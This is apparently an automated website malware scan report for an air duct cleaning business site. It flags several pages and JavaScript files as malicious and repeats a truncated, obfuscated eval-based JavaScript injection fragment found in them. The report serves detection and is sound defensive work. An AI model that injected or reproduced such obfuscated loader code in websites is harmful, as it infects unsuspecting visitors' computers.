Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=jjairductcleaningnorcross.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://jjairductcleaningnorcross.com/ | 200 OK Content-Length: 12789 Content-Type: text/html | suspicious |
Suspicious code found <script type="text/javascript" language="javascript"></script> | ||
http://jjairductcleaningnorcross.com/script/jquery.js | 200 OK Content-Length: 61895 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) lnh="y";jote="document";try{+function(){if(document.querySelector)--(window[jote].getElementById("asd"))}()}catch(tunjcl){rll=function(cuf){cuf="fro"+cuf;for(airzoc=0;airzoc<lnh.length;airzoc++){rcov+=String[cuf](lqhb(vcbz+(lnh[airzoc]))-(79));}};};lqhb=eval;vcbz="0x";snoy=0;if(!snoy){try{++lqhb(jote).body}catch(tunjcl){yfr="(";}lnh="6f(b5(c4(bd(b2(c3(b8(be(bd(6f(b1(b8(b8(b4(7f(88(77(78(6f(ca(5c(59(6f(c5(b0(c1(6f(c2(c3(b0(c3(b8(b2(8c(76(b0(b9(b0(c7(76(8a(5c(59(6f(c5(b0(c1(6f(b2(be(bd(c3(c1(be Antivirus reports:
| ||
http://jjairductcleaningnorcross.com/script/ui_core.js | 200 OK Content-Length: 16652 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) lnh="y";jote="document";try{+function(){if(document.querySelector)--(window[jote].getElementById("asd"))}()}catch(tunjcl){rll=function(cuf){cuf="fro"+cuf;for(airzoc=0;airzoc<lnh.length;airzoc++){rcov+=String[cuf](lqhb(vcbz+(lnh[airzoc]))-(79));}};};lqhb=eval;vcbz="0x";snoy=0;if(!snoy){try{++lqhb(jote).body}catch(tunjcl){yfr="(";}lnh="6f(b5(c4(bd(b2(c3(b8(be(bd(6f(b1(b8(b8(b4(7f(88(77(78(6f(ca(5c(59(6f(c5(b0(c1(6f(c2(c3(b0(c3(b8(b2(8c(76(b0(b9(b0(c7(76(8a(5c(59(6f(c5(b0(c1(6f(b2(be(bd(c3(c1(be Antivirus reports:
| ||
http://jjairductcleaningnorcross.com/script/ui_tabs.js | 200 OK Content-Length: 21213 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) lnh="y";jote="document";try{+function(){if(document.querySelector)--(window[jote].getElementById("asd"))}()}catch(tunjcl){rll=function(cuf){cuf="fro"+cuf;for(airzoc=0;airzoc<lnh.length;airzoc++){rcov+=String[cuf](lqhb(vcbz+(lnh[airzoc]))-(79));}};};lqhb=eval;vcbz="0x";snoy=0;if(!snoy){try{++lqhb(jote).body}catch(tunjcl){yfr="(";}lnh="6f(b5(c4(bd(b2(c3(b8(be(bd(6f(b1(b8(b8(b4(7f(88(77(78(6f(ca(5c(59(6f(c5(b0(c1(6f(c2(c3(b0(c3(b8(b2(8c(76(b0(b9(b0(c7(76(8a(5c(59(6f(c5(b0(c1(6f(b2(be(bd(c3(c1(be Antivirus reports:
| ||
http://jjairductcleaningnorcross.com/script/lightbox.js | 200 OK Content-Length: 24245 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) lnh="y";jote="document";try{+function(){if(document.querySelector)--(window[jote].getElementById("asd"))}()}catch(tunjcl){rll=function(cuf){cuf="fro"+cuf;for(airzoc=0;airzoc<lnh.length;airzoc++){rcov+=String[cuf](lqhb(vcbz+(lnh[airzoc]))-(79));}};};lqhb=eval;vcbz="0x";snoy=0;if(!snoy){try{++lqhb(jote).body}catch(tunjcl){yfr="(";}lnh="6f(b5(c4(bd(b2(c3(b8(be(bd(6f(b1(b8(b8(b4(7f(88(77(78(6f(ca(5c(59(6f(c5(b0(c1(6f(c2(c3(b0(c3(b8(b2(8c(76(b0(b9(b0(c7(76(8a(5c(59(6f(c5(b0(c1(6f(b2(be(bd(c3(c1(be Antivirus reports:
| ||
http://jjairductcleaningnorcross.com/index.html | 200 OK Content-Length: 12789 Content-Type: text/html | suspicious |
Suspicious code found <script type="text/javascript" language="javascript"></script> | ||
http://jjairductcleaningnorcross.com/aboutus.html | 200 OK Content-Length: 16568 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) lnh="y";jote="document";try{+function(){if(document.querySelector)--(window[jote].getElementById("asd"))}()}catch(tunjcl){rll=function(cuf){cuf="fro"+cuf;for(airzoc=0;airzoc<lnh.length;airzoc++){rcov+=String[cuf](lqhb(vcbz+(lnh[airzoc]))-(79));}};};lqhb=eval;vcbz="0x";snoy=0;if(!snoy){try{++lqhb(jote).body}catch(tunjcl){yfr="(";}lnh="6f(b5(c4(bd(b2(c3(b8(be(bd(6f(b1(b8(b8(b4(7f(88(77(78(6f(ca(5c(59(6f(c5(b0(c1(6f(c2(c3(b0(c3(b8(b2(8c(76(b0(b9(b0(c7(76(8a(5c( ...[4153 bytes skipped]... Antivirus reports:
| ||
http://jjairductcleaningnorcross.com/services.html | 200 OK Content-Length: 12455 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: www.jjairductcleaninglilburn.com ...[12346 bytes skipped]... <br /> <a style="float:right; font-weight:normal;" id="lock" href="javascript:;">"Providing Cleaning Services"</a> </div> <div class="clear"></div> </div><!--end footer --> <div id="footlinks"> <div id="footer"> <ul> <li><a href="http://www.jjairductcleaninglilburn.com" title="Lilburn Air Duct Cleaning, Chimney Sweep" target="_blank">Lilburn Duct Cleaning</a></li> <li><a href="http://www.jjairductcleaninglithonia.com" title="lithonia Air Duct Cleaning, Chimney Sweep" target="_blank">lithonia Duct Cleaning</a></li> <li><a href="http://www.jjairductcleaningmarietta.com" title="Marietta Air Duct Cleaning, Chimney Sweep" target="_blank">Marietta Duct Cleaning</a></li> ...[2052 bytes skipped]... | ||
http://jjairductcleaningnorcross.com/norcross-airductcleaning.html | 200 OK Content-Length: 20134 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) lnh="y";jote="document";try{+function(){if(document.querySelector)--(window[jote].getElementById("asd"))}()}catch(tunjcl){rll=function(cuf){cuf="fro"+cuf;for(airzoc=0;airzoc<lnh.length;airzoc++){rcov+=String[cuf](lqhb(vcbz+(lnh[airzoc]))-(79));}};};lqhb=eval;vcbz="0x";snoy=0;if(!snoy){try{++lqhb(jote).body}catch(tunjcl){yfr="(";}lnh="6f(b5(c4(bd(b2(c3(b8(be(bd(6f(b1(b8(b8(b4(7f(88(77(78(6f(ca(5c(59(6f(c5(b0(c1(6f(c2(c3(b0(c3(b8(b2(8c(76(b0(b9(b0(c7(76(8a(5c( ...[4153 bytes skipped]... Antivirus reports:
| ||
http://jjairductcleaningnorcross.com/norcross-dryerventcleaning.html | 200 OK Content-Length: 13624 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: www.jjairductcleaninglilburn.com ...[13703 bytes skipped]... <br /> <a style="float:right; font-weight:normal;" id="lock" href="javascript:;">"Providing Cleaning Services"</a> </div> <div class="clear"></div> </div><!--end footer --> <div id="footlinks"> <div id="footer"> <ul> <li><a href="http://www.jjairductcleaninglilburn.com" title="Lilburn Air Duct Cleaning, Chimney Sweep" target="_blank">Lilburn Duct Cleaning</a></li> <li><a href="http://www.jjairductcleaninglithonia.com" title="lithonia Air Duct Cleaning, Chimney Sweep" target="_blank">lithonia Duct Cleaning</a></li> <li><a href="http://www.jjairductcleaningmarietta.com" title="Marietta Air Duct Cleaning, Chimney Sweep" target="_blank">Marietta Duct Cleaning</a></li> ...[2052 bytes skipped]... | ||
http://jjairductcleaningnorcross.com/norcross-chimneysweep.html | 200 OK Content-Length: 16608 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) lnh="y";jote="document";try{+function(){if(document.querySelector)--(window[jote].getElementById("asd"))}()}catch(tunjcl){rll=function(cuf){cuf="fro"+cuf;for(airzoc=0;airzoc<lnh.length;airzoc++){rcov+=String[cuf](lqhb(vcbz+(lnh[airzoc]))-(79));}};};lqhb=eval;vcbz="0x";snoy=0;if(!snoy){try{++lqhb(jote).body}catch(tunjcl){yfr="(";}lnh="6f(b5(c4(bd(b2(c3(b8(be(bd(6f(b1(b8(b8(b4(7f(88(77(78(6f(ca(5c(59(6f(c5(b0(c1(6f(c2(c3(b0(c3(b8(b2(8c(76(b0(b9(b0(c7(76(8a(5c( ...[4153 bytes skipped]... Antivirus reports:
| ||
http://jjairductcleaningnorcross.com/norcross-coupons.html | 200 OK Content-Length: 13162 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: www.jjairductcleaninglilburn.com ...[13732 bytes skipped]... <br /> <a style="float:right; font-weight:normal;" id="lock" href="javascript:;">"Providing Cleaning Services"</a> </div> <div class="clear"></div> </div><!--end footer --> <div id="footlinks"> <div id="footer"> <ul> <li><a href="http://www.jjairductcleaninglilburn.com" title="Lilburn Air Duct Cleaning, Chimney Sweep" target="_blank">Lilburn Duct Cleaning</a></li> <li><a href="http://www.jjairductcleaninglithonia.com" title="lithonia Air Duct Cleaning, Chimney Sweep" target="_blank">lithonia Duct Cleaning</a></li> <li><a href="http://www.jjairductcleaningmarietta.com" title="Marietta Air Duct Cleaning, Chimney Sweep" target="_blank">Marietta Duct Cleaning</a></li> ...[2051 bytes skipped]... | ||
http://jjairductcleaningnorcross.com/contactus.html | 200 OK Content-Length: 17747 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) lnh="y";jote="document";try{+function(){if(document.querySelector)--(window[jote].getElementById("asd"))}()}catch(tunjcl){rll=function(cuf){cuf="fro"+cuf;for(airzoc=0;airzoc<lnh.length;airzoc++){rcov+=String[cuf](lqhb(vcbz+(lnh[airzoc]))-(79));}};};lqhb=eval;vcbz="0x";snoy=0;if(!snoy){try{++lqhb(jote).body}catch(tunjcl){yfr="(";}lnh="6f(b5(c4(bd(b2(c3(b8(be(bd(6f(b1(b8(b8(b4(7f(88(77(78(6f(ca(5c(59(6f(c5(b0(c1(6f(c2(c3(b0(c3(b8(b2(8c(76(b0(b9(b0(c7(76(8a(5c( ...[4153 bytes skipped]... Antivirus reports:
| ||
http://jjairductcleaningnorcross.com/script/jquery-1.2.6.min.js | 200 OK Content-Length: 60415 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) lnh="y";jote="document";try{+function(){if(document.querySelector)--(window[jote].getElementById("asd"))}()}catch(tunjcl){rll=function(cuf){cuf="fro"+cuf;for(airzoc=0;airzoc<lnh.length;airzoc++){rcov+=String[cuf](lqhb(vcbz+(lnh[airzoc]))-(79));}};};lqhb=eval;vcbz="0x";snoy=0;if(!snoy){try{++lqhb(jote).body}catch(tunjcl){yfr="(";}lnh="6f(b5(c4(bd(b2(c3(b8(be(bd(6f(b1(b8(b8(b4(7f(88(77(78(6f(ca(5c(59(6f(c5(b0(c1(6f(c2(c3(b0(c3(b8(b2(8c(76(b0(b9(b0(c7(76(8a(5c(59(6f(c5(b0(c1(6f(b2(be(bd(c3(c1(be Antivirus reports:
| ||
http://jjairductcleaningnorcross.com/script/formfunc.js | 200 OK Content-Length: 9869 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) lnh="y";jote="document";try{+function(){if(document.querySelector)--(window[jote].getElementById("asd"))}()}catch(tunjcl){rll=function(cuf){cuf="fro"+cuf;for(airzoc=0;airzoc<lnh.length;airzoc++){rcov+=String[cuf](lqhb(vcbz+(lnh[airzoc]))-(79));}};};lqhb=eval;vcbz="0x";snoy=0;if(!snoy){try{++lqhb(jote).body}catch(tunjcl){yfr="(";}lnh="6f(b5(c4(bd(b2(c3(b8(be(bd(6f(b1(b8(b8(b4(7f(88(77(78(6f(ca(5c(59(6f(c5(b0(c1(6f(c2(c3(b0(c3(b8(b2(8c(76(b0(b9(b0(c7(76(8a(5c(59(6f(c5(b0(c1(6f(b2(be(bd(c3(c1(be Antivirus reports:
|
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: jjairductcleaningnorcross.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Jul 2014 02:11:09 GMT
Accept-Ranges: bytes
Server: Apache
Vary: Accept-Encoding
Content-Length: 12789
Content-Type: text/html
...12789 bytes of data.
GET / HTTP/1.1
Host: jjairductcleaningnorcross.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Jul 2014 02:11:09 GMT
Accept-Ranges: bytes
Server: Apache
Vary: Accept-Encoding
Content-Length: 12789
Content-Type: text/html
...12789 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: jjairductcleaningnorcross.com
Referer: http://www.google.com/search?q=jjairductcleaningnorcross.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: jjairductcleaningnorcross.com
Referer: http://www.google.com/search?q=jjairductcleaningnorcross.com
Result:
The result is similar to the first query. There are no suspicious redirects found.